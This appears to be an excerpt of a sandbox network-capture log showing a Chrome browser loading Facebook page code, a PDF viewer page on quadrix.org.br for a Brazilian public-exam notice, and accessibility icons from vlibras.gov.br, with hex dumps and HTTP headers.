77 69 Data Ascii: <!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="xxGDJEDu">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}wi
2024-05-10 07:21:02 UTC	1500	IN	Data Raw: 33 44 34 31 32 36 25 32 36 66 62 70 25 33 44 66 62 2e 32 2e 31 37 31 35 33 32 35 36 35 39 33 39 34 2e 39 35 31 30 30 34 31 31 32 25 32 36 63 73 5f 65 73 74 25 33 44 74 72 75 65 25 32 36 6c 65 72 25 33 44 65 6d 70 74 79 25 32 36 63 64 6c 25 33 44 41 50 49 5f 75 6e 61 76 61 69 6c 61 62 6c 65 25 32 36 69 74 25 33 44 31 37 31 35 33 32 35 36 35 38 36 33 37 25 32 36 63 6f 6f 25 33 44 66 61 6c 73 65 25 32 36 72 71 6d 25 33 44 46 47 45 54 26 61 6d 70 3b 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 4b 22 20 68 72 65 66 3d 22 2f 64 61 74 61 2f 6d 61 6e 69 66 65 73 74 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 Data Ascii: 3D4126%26fbp%3Dfb.2.1715325659394.951004112%26cs_est%3Dtrue%26ler%3Dempty%26cdl%3DAPI_unavailable%26it%3D1715325658637%26coo%3Dfalse%26rqm%3DFGET&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="
2024-05-10 07:21:02 UTC	1500	IN	Data Raw: 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 67 2f 6c 2f 30 2c 63 72 6f 73 73 2f 36 46 58 46 48 46 36 57 50 4e 6c 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 66 36 2f 6b 7a 4e 71 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 38 2f 6c 2f 30 2c 63 72 6f 73 Data Ascii: sheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yg/l/0,cross/6FXFHF6WPNl.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="f6/kzNq" crossorigin="anonymous" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/y8/l/0,cros
2024-05-10 07:21:02 UTC	1500	IN	Data Raw: 5f 5f 72 63 22 3a 5b 22 52 75 6e 57 57 57 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 32 36 22 2c 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 36 34 30 22 2c 5b 22 50 72 6f 6d 69 73 65 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 50 72 6f 6d 69 73 65 49 6d 70 6c 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 33 38 36 22 2c 5b 22 63 6c 65 61 72 54 69 6d 65 6f 75 74 57 57 57 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 63 6c 65 61 72 54 69 6d 65 6f 75 74 57 57 57 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 33 39 30 22 2c 5b 22 73 65 74 54 69 6d 65 6f 75 74 57 57 57 22 5d 2c 7b 22 5f 5f Data Ascii: __rc":["RunWWW",null]},-1],["cr:1126",["TimeSliceImpl"],{"__rc":["TimeSliceImpl",null]},-1],["cr:6640",["PromiseImpl"],{"__rc":["PromiseImpl",null]},-1],["cr:7386",["clearTimeoutWWW"],{"__rc":["clearTimeoutWWW",null]},-1],["cr:7390",["setTimeoutWWW"],{"__
2024-05-10 07:21:02 UTC	1500	IN	Data Raw: 2c 22 36 58 73 58 51 32 71 48 77 38 79 22 5d 7d 7d 2c 32 35 38 30 5d 2c 5b 22 49 6e 69 74 69 61 6c 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 22 2c 5b 5d 2c 7b 22 64 65 66 65 72 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 69 6e 69 74 69 61 6c 43 6f 6e 73 65 6e 74 22 3a 5b 31 2c 32 5d 2c 22 6e 6f 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 53 68 6f 77 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 57 61 69 74 46 6f 72 44 65 66 65 72 72 65 64 44 61 74 72 43 6f 6f 6b 69 65 22 3a 66 61 6c 73 65 7d 2c 34 33 32 38 5d 2c 5b 22 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 49 46 72 61 6d 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 63 6f 6e 73 65 6e 74 5f 70 61 72 61 6d 22 3a 22 46 51 41 52 45 68 49 53 41 41 3d 3d 2e Data Ascii: ,"6XsXQ2qHw8y"]}},2580],["InitialCookieConsent",[],{"deferCookies":false,"initialConsent":[1,2],"noCookies":false,"shouldShowCookieBanner":false,"shouldWaitForDeferredDatrCookie":false},4328],["CookieConsentIFrameConfig",[],{"consent_param":"FQAREhISAA==.
2024-05-10 07:21:02 UTC	1500	IN	Data Raw: 70 72 22 3a 7b 22 74 22 3a 36 30 34 38 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 73 74 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 53 74 72 69 63 74 22 7d 2c 22 69 5f 75 73 65 72 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 6c 6f 63 61 6c 65 22 3a 7b 22 74 22 3a 36 30 34 38 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 6d 5f 6c 73 22 3a 7b 22 74 22 3a 33 34 35 36 30 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 6d 5f 70 69 78 65 6c 5f 72 61 74 69 6f 22 3a 7b 22 74 22 3a 36 30 34 38 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 6e 6f 73 63 72 69 70 74 22 3a 7b 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 70 72 65 73 65 6e 63 65 22 3a 7b 22 74 22 3a 32 35 39 32 30 30 30 2c 22 Data Ascii: pr":{"t":604800,"s":"None"},"fbl_st":{"t":31536000,"s":"Strict"},"i_user":{"t":31536000,"s":"None"},"locale":{"t":604800,"s":"None"},"m_ls":{"t":34560000,"s":"None"},"m_pixel_ratio":{"t":604800,"s":"None"},"noscript":{"s":"None"},"presence":{"t":2592000,"
2024-05-10 07:21:02 UTC	1500	IN	Data Raw: 31 37 35 39 32 2c 22 5f 5f 73 70 69 6e 5f 62 22 3a 22 74 72 75 6e 6b 22 2c 22 5f 5f 73 70 69 6e 5f 74 22 3a 31 37 31 35 33 32 35 36 36 32 2c 22 76 69 70 22 3a 22 31 35 37 2e 32 34 30 2e 32 34 39 2e 33 35 22 7d 2c 33 31 37 5d 2c 5b 22 53 70 72 69 6e 6b 6c 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 70 61 72 61 6d 5f 6e 61 6d 65 22 3a 22 6a 61 7a 6f 65 73 74 22 2c 22 76 65 72 73 69 6f 6e 22 3a 32 2c 22 73 68 6f 75 6c 64 5f 72 61 6e 64 6f 6d 69 7a 65 22 3a 66 61 6c 73 65 7d 2c 32 31 31 31 5d 2c 5b 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 2c 5b 5d 2c 7b 22 62 72 6f 77 73 65 72 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 62 72 6f 77 73 65 72 46 75 6c 6c 56 65 72 73 69 6f 6e 22 3a 22 31 31 37 2e 30 2e 30 2e 30 22 2c 22 62 72 6f 77 73 65 72 4d Data Ascii: 17592,"__spin_b":"trunk","__spin_t":1715325662,"vip":"157.240.249.35"},317],["SprinkleConfig",[],{"param_name":"jazoest","version":2,"should_randomize":false},2111],["UserAgentData",[],{"browserArchitecture":"64","browserFullVersion":"117.0.0.0","browserM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49812	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:02 UTC	661	OUT	GET /web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:02 UTC	296	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Thu, 18 Apr 2024 15:24:27 GMT Vary: Accept-Encoding X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 88182b8e881310bc-ORD
2024-05-10 07:21:02 UTC	1073	IN	Data Raw: 34 31 65 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6d 6f 7a 64 69 73 61 6c 6c 6f 77 73 65 6c 65 63 74 69 6f 6e 70 72 69 6e 74 20 6d 6f 7a 6e 6f 6d 61 72 67 69 6e 62 6f 78 65 73 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 74 72 61 6e 73 6c 61 74 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 Data Ascii: 41e5<!DOCTYPE html><html dir="ltr" mozdisallowselectionprint moznomarginboxes><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><meta name="google" content="notranslate"><meta http-eq
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 52 79 62 65 6e 61 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 0d 0a 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 6d 64 2e 6d 6f 62 69 6c 65 28 29 29 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 35 29 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6c 31 30 6e 2e 6a 73 22 20 74 79 70 65 3d 22 33 39 31 64 32 66 66 38 33 62 38 33 61 38 34 35 66 31 32 66 37 37 61 64 2d 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 Data Ascii: ); jQueryRybena(document).ready(function () { if (!md.mobile()) { console.log(5) } }); </script><script src="l10n.js" type="391d2ff83b83a845f12f77ad-text/javascript"></scrip
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 64 3d 22 6d 61 69 6e 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 6e 64 62 61 72 20 68 69 64 64 65 6e 20 64 6f 6f 72 48 61 6e 67 65 72 20 68 69 64 64 65 6e 53 6d 61 6c 6c 56 69 65 77 22 20 69 64 3d 22 66 69 6e 64 62 61 72 22 3e 0a 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 66 69 6e 64 49 6e 70 75 74 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 4c 61 62 65 6c 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 66 69 6e 64 5f 6c 61 62 65 6c 22 3e 42 75 73 63 61 72 3a 3c 2f 6c 61 62 65 6c 3e 0a 3c 69 6e 70 75 74 20 69 64 3d 22 66 69 6e 64 49 6e 70 75 74 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 46 69 65 6c 64 22 20 74 61 62 69 6e 64 65 78 3d 22 39 31 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 6c 69 74 54 6f 6f 6c 62 61 Data Ascii: d="mainContainer"><div class="findbar hidden doorHanger hiddenSmallView" id="findbar"><label for="findInput" class="toolbarLabel" data-l10n-id="find_label">Buscar:</label><input id="findInput" class="toolbarField" tabindex="91"><div class="splitToolba
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 4d 6f 64 65 20 76 69 73 69 62 6c 65 4c 61 72 67 65 56 69 65 77 22 20 74 69 74 6c 65 3d 22 41 6c 74 65 72 61 72 20 70 61 72 61 20 74 65 6c 61 20 63 68 65 69 61 22 20 74 61 62 69 6e 64 65 78 3d 22 35 31 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5f 6d 6f 64 65 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5f 6d 6f 64 65 5f 6c 61 62 65 6c 22 3e 54 65 6c 61 20 63 68 65 69 61 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 73 65 63 6f 6e 64 61 72 79 4f 70 65 6e 46 69 6c 65 22 20 63 6c 61 73 73 3d 22 73 65 63 6f 6e 64 61 72 79 54 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 6f 70 65 6e 46 69 6c 65 20 68 69 64 64 65 6e 22 20 74 Data Ascii: Mode visibleLargeView" title="Alterar para tela cheia" tabindex="51" data-l10n-id="presentation_mode"><span data-l10n-id="presentation_mode_label">Tela cheia</span></button><button id="secondaryOpenFile" class="secondaryToolbarButton openFile hidden" t
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 74 61 62 69 6e 64 65 78 3d 22 35 37 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 6c 61 73 74 5f 70 61 67 65 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 6c 61 73 74 5f 70 61 67 65 5f 6c 61 62 65 6c 22 3e 49 72 20 70 61 72 61 20 c3 ba 6c 74 69 6d 61 20 70 c3 a1 67 69 6e 61 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 72 69 7a 6f 6e 74 61 6c 54 6f 6f 6c 62 61 72 53 65 70 61 72 61 74 6f 72 22 3e 3c 2f 64 69 76 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 70 61 67 65 52 6f 74 61 74 65 43 77 22 20 63 6c 61 73 73 3d 22 73 65 63 6f 6e 64 61 72 79 54 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 72 6f 74 61 74 65 43 77 22 20 74 69 74 6c 65 3d 22 52 6f 74 61 74 65 20 43 6c 6f 63 6b 77 69 73 65 22 Data Ascii: tabindex="57" data-l10n-id="last_page"><span data-l10n-id="last_page_label">Ir para ltima pgina</span></button><div class="horizontalToolbarSeparator"></div><button id="pageRotateCw" class="secondaryToolbarButton rotateCw" title="Rotate Clockwise"
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 22 20 74 69 74 6c 65 3d 22 45 78 69 62 69 72 2f 4f 63 75 6c 74 61 72 20 42 61 72 72 61 20 6c 61 74 65 72 61 6c 22 20 74 61 62 69 6e 64 65 78 3d 22 31 31 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 74 6f 67 67 6c 65 5f 73 69 64 65 62 61 72 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 74 6f 67 67 6c 65 5f 73 69 64 65 62 61 72 5f 6c 61 62 65 6c 22 3e 42 61 72 72 61 20 6c 61 74 65 72 61 6c 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 53 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 76 69 65 77 46 69 6e 64 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 67 72 6f 75 70 20 68 69 64 64 65 6e 53 6d 61 Data Ascii: " title="Exibir/Ocultar Barra lateral" tabindex="11" data-l10n-id="toggle_sidebar"><span data-l10n-id="toggle_sidebar_label">Barra lateral</span></button><div class="toolbarButtonSpacer"></div><button id="viewFind" class="toolbarButton group hiddenSma
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 6c 61 20 63 68 65 69 61 22 20 74 61 62 69 6e 64 65 78 3d 22 33 31 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5f 6d 6f 64 65 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5f 6d 6f 64 65 5f 6c 61 62 65 6c 22 3e 54 65 6c 61 20 63 68 65 69 61 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 6f 70 65 6e 46 69 6c 65 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 6f 70 65 6e 46 69 6c 65 20 68 69 64 64 65 6e 22 20 74 69 74 6c 65 3d 22 4f 70 65 6e 20 46 69 6c 65 22 20 74 61 62 69 6e 64 65 78 3d 22 33 32 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 6f 70 65 6e 5f 66 69 6c 65 22 3e 0a 3c 73 70 61 6e 20 Data Ascii: la cheia" tabindex="31" data-l10n-id="presentation_mode"><span data-l10n-id="presentation_mode_label">Tela cheia</span></button><button id="openFile" class="toolbarButton openFile hidden" title="Open File" tabindex="32" data-l10n-id="open_file"><span
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 69 64 3d 22 7a 6f 6f 6d 5f 6f 75 74 5f 6c 61 62 65 6c 22 3e 4d 65 6e 6f 73 20 5a 6f 6f 6d 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 6c 69 74 54 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 53 65 70 61 72 61 74 6f 72 22 3e 3c 2f 64 69 76 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 7a 6f 6f 6d 49 6e 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 7a 6f 6f 6d 49 6e 22 20 74 69 74 6c 65 3d 22 4d 61 69 73 20 5a 6f 6f 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 32 32 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 7a 6f 6f 6d 5f 69 6e 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 7a 6f 6f 6d 5f 69 6e 5f 6c 61 62 65 6c 22 3e 4d 61 69 73 20 5a 6f 6f 6d 3c 2f 73 70 61 6e 3e 0a 3c 2f Data Ascii: id="zoom_out_label">Menos Zoom</span></button><div class="splitToolbarButtonSeparator"></div><button id="zoomIn" class="toolbarButton zoomIn" title="Mais Zoom" tabindex="22" data-l10n-id="zoom_in"><span data-l10n-id="zoom_in_label">Mais Zoom</span></
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 73 63 61 6c 65 26 71 75 6f 74 3b 3a 20 31 32 35 20 7d 22 3e 31 32 35 25 3c 2f 6f 70 74 69 6f 6e 3e 0a 3c 6f 70 74 69 6f 6e 20 74 69 74 6c 65 20 76 61 6c 75 65 3d 22 31 2e 35 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 61 67 65 5f 73 63 61 6c 65 5f 70 65 72 63 65 6e 74 22 20 64 61 74 61 2d 6c 31 30 6e 2d 61 72 67 73 3d 22 7b 20 26 71 75 6f 74 3b 73 63 61 6c 65 26 71 75 6f 74 3b 3a 20 31 35 30 20 7d 22 3e 31 35 30 25 3c 2f 6f 70 74 69 6f 6e 3e 0a 3c 6f 70 74 69 6f 6e 20 74 69 74 6c 65 20 76 61 6c 75 65 3d 22 32 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 61 67 65 5f 73 63 61 6c 65 5f 70 65 72 63 65 6e 74 22 20 64 61 74 61 2d 6c 31 30 6e 2d 61 72 67 73 3d 22 7b 20 26 71 75 6f 74 3b 73 63 61 6c 65 26 71 75 6f 74 3b 3a 20 32 30 30 20 7d 22 3e 32 Data Ascii: scale": 125 }">125%</option><option title value="1.5" data-l10n-id="page_scale_percent" data-l10n-args="{ "scale": 150 }">150%</option><option title value="2" data-l10n-id="page_scale_percent" data-l10n-args="{ "scale": 200 }">2
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 72 72 6f 72 53 68 6f 77 4c 65 73 73 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 65 72 72 6f 72 5f 6c 65 73 73 5f 69 6e 66 6f 22 20 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 0a 4c 65 73 73 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 69 64 3d 22 65 72 72 6f 72 4d 65 73 73 61 67 65 52 69 67 68 74 22 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 65 72 72 6f 72 43 6c 6f 73 65 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 65 72 72 6f 72 5f 63 6c 6f 73 65 22 3e 0a 43 6c 6f 73 65 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 42 6f 74 68 22 3e 3c 2f 64 69 76 3e 0a 3c 74 65 78 74 61 72 65 61 20 69 64 3d 22 65 72 72 6f 72 4d 6f 72 65 49 6e 66 6f Data Ascii: rrorShowLess" data-l10n-id="error_less_info" hidden="true">Less Information</button></div><div id="errorMessageRight"><button id="errorClose" data-l10n-id="error_close">Close</button></div><div class="clearBoth"></div><textarea id="errorMoreInfo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49808	18.229.86.183	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:02 UTC	603	OUT	GET /app//assets/access_icon.svg HTTP/1.1 Host: vlibras.gov.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:02 UTC	581	IN	HTTP/1.1 302 Moved Temporarily Date: Fri, 10 May 2024 07:21:02 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://cdn.jsdelivr.net/gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_icon.svg Strict-Transport-Security: max-age=15724800; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization Access-Control-Max-Age: 1728000
2024-05-10 07:21:02 UTC	138	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49807	18.229.86.183	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:02 UTC	604	OUT	GET /app//assets/access_popup.jpg HTTP/1.1 Host: vlibras.gov.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:02 UTC	582	IN	HTTP/1.1 302 Moved Temporarily Date: Fri, 10 May 2024 07:21:02 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://cdn.jsdelivr.net/gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_popup.jpg Strict-Transport-Security: max-age=15724800; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization Access-Control-Max-Age: 1728000
